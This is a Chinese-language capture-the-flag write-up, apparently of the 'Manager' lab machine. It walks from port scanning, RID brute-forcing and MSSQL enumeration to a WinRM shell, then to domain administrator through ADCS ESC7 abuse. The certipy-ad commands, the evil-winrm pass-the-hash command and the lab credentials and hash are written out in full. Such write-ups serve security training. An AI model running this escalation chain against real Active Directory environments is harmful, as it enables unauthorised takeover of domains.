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CPTS-Manager ADCS ESC7利用

ai 2025/9/5 14:03:58

枚举和利用

端口扫描
nmap -A -p- -n -Pn -T4 10.10.11.236

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-03 21:17:31Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
|_ssl-date: 2025-09-03T21:19:05+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T21:19:05+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-09-03T21:19:05+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-09-03T13:04:19
|_Not valid after:  2055-09-03T13:04:19
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
|_ssl-date: 2025-09-03T21:19:05+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T21:19:05+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC
49796/tcp open  msrpc         Microsoft Windows RPC
62137/tcp open  msrpc         Microsoft Windows RPC
63109/tcp open  tcpwrapped
63143/tcp open  msrpc         Microsoft Windows RPC

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枚举smb共享

尝试rid爆破
nxc smb 10.10.11.236 -u ‘guest’ -p ‘’ --rid-brute --smb-timeout 10000

经过文本处理可以得到用户名列表

验证有效用户名

首字母小写

得到凭证

bloodhound信息收集
bloodhound-python --dns-tcp -ns 10.10.11.236 -d ‘manager.htb’ -u ‘operator’ -p ‘operator’ -c All --zip -v
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smb共享枚举

进入mssql

枚举网页路径c:\inetpub\wwwroot

发现一个zip，下载

解压

找到一个密码

该用户可以通过winrm拿到shell

成功拿到shell

ESC7 提权

尝试adcs枚举
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certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -add-officer raven

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我们可以签发和管理证书。

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可以使用-list-templates标志列出启用的证书模板。
certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -list-templates

certipy-ad req -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -template SubCA -upn administrator@manager.htb
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certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -issue-request 19

最后，我们使用req命令和-retrieve 参数。
certipy-ad req -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -retrieve 19
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certipy-ad auth -pfx ./administrator.pfx -dc-ip 10.10.11.236
拿到hash
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evil-winrm -i 10.10.11.236 -u ‘Administrator’ -H ‘ae5064c2f62317332c88629e025924ef’

成功提权